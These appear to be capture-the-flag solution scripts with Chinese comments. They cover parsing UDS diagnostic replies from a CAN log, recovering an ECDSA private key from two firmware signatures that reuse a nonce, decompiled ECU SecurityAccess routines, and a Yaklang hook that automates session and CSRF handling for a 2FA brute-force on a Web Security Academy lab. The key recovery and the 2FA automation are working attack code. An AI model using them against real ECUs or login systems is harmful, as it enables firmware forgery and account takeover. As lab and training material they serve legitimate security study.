1import re
 2
 3file="challenge4_RDID_dump.log"
 4
 5
 6# 解析每行的CAN ID和数据域
 7def parse_candump_log(line):
 8    m=re.match(r".*can0\s+(\w+)#([0-9A-Fa-f]+)", line)
 9    if not m:
10        return None, None
11    can_id = int(m.group(1), 16)
12    data = bytes.fromhex(m.group(2))
13    return can_id, data
14
15# 把每个DID的数据都以DID为键名存到字典里
16def extract_data(file):
17    # 初始化存放结果和连续帧的字典
18    result={}
19    multi_frame={}
20    with open(file) as f:
21        for line in f:
22            # 提取每行的CAN ID，数据域
23            can_id,data=parse_candump_log(line)
24            if data is None or len(data)==0:
25                continue
26            # 提取第一个字节的高4位为PCI
27            pci=data[0] >> 4
28            if pci == 0:
29                # 提取应用数据长度
30                length=data[0] & 0x0F
31                # 这里验证的是ISO-TP层长度，如果实际总长小于写的长度，说明CAN帧残缺
32                if len(data)<1+length:
33                    continue 
34                # 把ISO-TP层的载荷提取出来，UDS报文就是这个载荷
35                payload=data[1:length+1]
36                # 有效UDS回复帧，必定包含SID、DID，至少三个字节,少于3个字节，说明ISO-TP层写的长度短了，此帧有误，不管它
37                # 要求必须是0x22的肯定响应
38                if len(payload)>=3 and payload[0]==0x62:
39                    did=payload[1:3]
40                    result[did]=payload[3:]
41            
42            elif pci == 1:
43                # 首帧至少要有 PCI + 长度 + 0x62 + DID，5个字节
44                # 而且首帧肯定带满数据，长度一定是8，如果总长小于8，说明此帧残缺
45                if len(data) < 8:  
46                    continue
47                #传输的数据总长度
48                total_len=((data[0]&0x0F)<<8)|data[1] 
49                # 首帧的UDS响应
50                payload=data[2:]
51                if len(payload)>=3 and payload[0]==0x62:
52                    did = payload[1:3].hex().upper()
53                    multi_frame[did]={
54                        "total_len":total_len,
55                        "data":payload[3:]
56                    }
57
58
59            elif pci == 2:
60                #连续帧必须有PCI和1个数据，所以最少2个字节
61                if len(data) < 2: 
62                    continue
63                payload = data[1:]
64                for did, mf in multi_frame.items():
65                    # 减3是因为首帧提取的总长度包括了SID，DID的三个字节
66                    if len(mf["data"]) < mf["total_len"] - 3: 
67                        mf["data"] += payload
68                        if len(mf["data"]) >= mf["total_len"] - 3:
69                            result[did] = mf["data"]
70
71    return result
72
73for did,value in extract_data(file).items():
74    try:
75        text = value.decode("ascii")
76        print(f"DID 0x{did}: {text}")
77    except:
78        print(f"DID 0x{did}: {value.hex()}")

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3"""
  4ECDSA私钥恢复工具
  5通过两个使用相同nonce的签名来恢复私钥
  6无需公钥
  7"""
  8
  9import hashlib
 10import binascii
 11
 12def main():
 13    # 文件名配置
 14    sig_file1 = "challenge_signed_firmware_files\ECUB.hex.sig"
 15    sig_file2 = "challenge_signed_firmware_files\ECUC.hex.sig"
 16    msg_file1 = "challenge_signed_firmware_files\ECUB.hex"
 17    msg_file2 = "challenge_signed_firmware_files\ECUC.hex"
 18    
 19    # secp256k1曲线参数
 20    n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141  # 阶数
 21    
 22    print("=== ECDSA私钥恢复工具 ===")
 23    print(f"签名文件1: {sig_file1}")
 24    print(f"签名文件2: {sig_file2}")
 25    print(f"消息文件1: {msg_file1}")
 26    print(f"消息文件2: {msg_file2}")
 27    print(f"曲线阶数 n = 0x{n:064x}")
 28    print()
 29    
 30    try:
 31        # 读取签名文件
 32        print("=== 读取签名数据 ===")
 33        r1, s1 = read_sig_file(sig_file1)
 34        r2, s2 = read_sig_file(sig_file2)
 35        
 36        # 计算消息哈希
 37        print("\n=== 计算消息哈希 ===")
 38        z1 = get_file_hash(msg_file1)
 39        z2 = get_file_hash(msg_file2)
 40        
 41        # 恢复私钥
 42        k, private_key = recover_private_key(r1, s1, r2, s2, z1, z2, n)
 43        
 44        # 输出结果
 45        print("\n=== 最终结果 ===")
 46        print(f"使用的Nonce (十六进制): 0x{k:064x}")
 47        print(f"使用的Nonce (十进制): {k}")
 48        print(f"恢复的私钥 (十六进制): 0x{private_key:064x}")
 49        print(f"恢复的私钥 (十进制): {private_key}")
 50        
 51    except FileNotFoundError as e:
 52        print(f"错误: 找不到文件 - {e}")
 53        print("请确保以下文件存在:")
 54        print(f"  - {sig_file1}")
 55        print(f"  - {sig_file2}")
 56        print(f"  - {msg_file1}")
 57        print(f"  - {msg_file2}")
 58    except Exception as e:
 59        print(f"错误: {e}")
 60
 61def read_sig_file(filename):
 62    """读取sig文件并解析ECDSA签名"""
 63    try:
 64        with open(filename, 'rb') as f:
 65            data = f.read()
 66            hex_data = data.hex()
 67            print(f"文件 {filename} 内容: {hex_data}")
 68    except FileNotFoundError:
 69        # 如果文件不存在，直接使用文件名作为hex字符串
 70        with open(filename.replace('.sig', ''), 'rb') as f:
 71            data = f.read()
 72            hex_data = data.hex()
 73    
 74    # 解析签名数据
 75    if len(hex_data) >= 128:  # 至少64字节
 76        # 假设前64字节是r和s
 77        r_hex = hex_data[:64]
 78        s_hex = hex_data[64:128]
 79        r = int(r_hex, 16)
 80        s = int(s_hex, 16)
 81        print(f"  r = 0x{r:064x}")
 82        print(f"  s = 0x{s:064x}")
 83        return r, s
 84    else:
 85        raise ValueError(f"签名文件 {filename} 数据不足")
 86
 87def get_file_hash(filename):
 88    """计算文件的SHA-256哈希值"""
 89    with open(filename, 'rb') as f:
 90        content = f.read()
 91        hash_value = hashlib.sha256(content).digest()
 92        hash_int = int.from_bytes(hash_value, 'big')
 93        print(f"文件 {filename} SHA256: {hash_int:064x}")
 94        return hash_int
 95
 96def recover_private_key(r1, s1, r2, s2, z1, z2, n):
 97    """通过两个签名恢复私钥"""
 98    print("\n=== 私钥恢复计算 ===")
 99    
100    # 检查是否使用了相同的r值（nonce重用）
101    if r1 != r2:
102        print("警告: 两个签名的r值不同，可能不适用nonce重用攻击")
103        print(f"r1 = 0x{r1:064x}")
104        print(f"r2 = 0x{r2:064x}")
105    
106    r = r1  # 使用第一个签名的r值
107    
108    # 计算 nonce k = (z1 - z2) / (s1 - s2) mod n
109    s_diff = (s1 - s2) % n
110    z_diff = (z1 - z2) % n
111    
112    # 处理负数
113    if s_diff == 0:
114        raise ValueError("s1 == s2，无法计算，请检查数据")
115    
116    if s_diff < 0:
117        s_diff = (s_diff + n) % n
118    if z_diff < 0:
119        z_diff = (z_diff + n) % n
120    
121    # 计算k
122    k = (z_diff * pow(s_diff, -1, n)) % n
123    print(f"Nonce (k) = 0x{k:064x}")
124    
125    # 计算私钥 d = (s1 * k - z1) / r mod n
126    temp = (s1 * k - z1) % n
127    if temp < 0:
128        temp = (temp + n) % n
129    
130    d = (temp * pow(r, -1, n)) % n
131    print(f"Private key (d) = 0x{d:064x}")
132    
133    # 验证计算
134    d_verify = ((s2 * k - z2) * pow(r, -1, n)) % n
135    print(f"Verification key = 0x{d_verify:064x}")
136    print(f"Keys match: {d == d_verify}")
137    
138    return k, d
139
140
141if __name__ == "__main__":
142    main()

 1int __fastcall sub_8006828(int a1, _BYTE *a2, unsigned __int16 a3, int a4, _WORD *a5)
 2{
 3  int result; // r0
 4  int v6; // r3
 5
 6  dword_20032B04 = a4;
 7  dword_20032B08 = (int)a5;
 8  *a5 = 0;
 9  dword_20032B10 = a1;
10  if ( !a3 )
11  {
12    *a2 = 0;
13    return sub_80042BC(a2, 19);
14  }
15  if ( (unsigned __int8)*a2 <= 0xFu )
16    return sub_8003A28(a2, a3, a4, a5);
17  v6 = (unsigned __int8)*a2;
18  if ( v6 == 135 )
19    return sub_8006150(a2, a3);
20  if ( (unsigned __int8)*a2 > 0x87u )
21    return sub_80042BC(a2, 17);
22  if ( v6 == 133 )
23    return sub_8006078(a2, a3);
24  if ( (unsigned __int8)*a2 > 0x85u )
25    return sub_80042BC(a2, 17);
26  if ( (unsigned __int8)*a2 > 0x27u )
27  {
28    if ( v6 == 62 )
29      return sub_8005FF4(a2, a3);
30    return sub_80042BC(a2, 17);
31  }
32  if ( (unsigned __int8)*a2 < 0x10u )
33    return sub_80042BC(a2, 17);
34  switch ( *a2 )
35  {
36    case 0x10:
37      result = sub_8004428(a2, a3);
38      break;
39    case 0x11:
40      result = sub_8004544(a2, a3);
41      break;
42    case 0x14:
43      result = sub_80045B4(a2, a3);
44      break;
45    case 0x27:
46      result = sub_8004DB8(a2, a3);
47      break;
48    default:
49      return sub_80042BC(a2, 17);
50  }
51  return result;
52}

 1int __fastcall sub_8004CD4(int result)
 2{
 3  _BYTE v1[4]; // [sp+Ch] [bp+Ch] BYREF
 4  int i; // [sp+10h] [bp+10h]
 5  char v3; // [sp+17h] [bp+17h]
 6
 7  v1[0] = 103;
 8  v1[1] = *(_BYTE *)(result + 1) & 0x7F;
 9  if ( (unsigned int)dword_20032B3C > 4 )
10    return sub_80042BC(result, 54);
11  if ( (unsigned int)(dword_20032B10 - dword_20032B38) <= 9 )
12    return sub_80042BC(result, 55);
13  if ( byte_20032B40 != 1 )
14    return sub_80042BC(result, 36);
15  v3 = 1;
16  for ( i = 0; i <= 15; ++i )
17  {
18    if ( *(unsigned __int8 *)(i + 2 + result) != (unsigned __int8)byte_20032B0C[i + 28] )
19      v3 = 0;
20  }
21  if ( v3 )
22  {
23    byte_20032B40 = 2;
24    if ( *(char *)(result + 1) >= 0 )
25      return sub_8004268(v1, 2);
26  }
27  else
28  {
29    byte_20032B40 = 0;
30    ++dword_20032B3C;
31    dword_20032B38 = dword_20032B10;
32    return sub_80042BC(result, 53);
33  }
34  return result;
35}

 1
 2beforeRequest = func(req) { 
 3    // 访问登录页
 4    url="https://0a9e001f037bdb47823915920053009e.web-security-academy.net"
 5    rsp, _ = poc.Get(url+"/login",poc.retryTimes(10))~
 6    csrf1=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
 7    session1=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
 8
 9    // 登录账号
10    rsp, _ = poc.Post(url+"/login", poc.appendCookie("session",session1),poc.replaceBody(f"csrf=${csrf1}&username=carlos&password=montoya", false),poc.retryTimes(10),poc.noRedirect(true))~ 
11    session2=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
12
13    // 访问2FA
14    rsp, _ = poc.Get(url+"/login2",poc.appendCookie("session",session2),poc.retryTimes(10))~
15    csrf2=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
16
17    // 替换参数
18    req = str.ReplaceAll(req, "__session__", session2)
19    req = str.ReplaceAll(req, "__csrf__", csrf2)
20
21    return []byte(req)
22}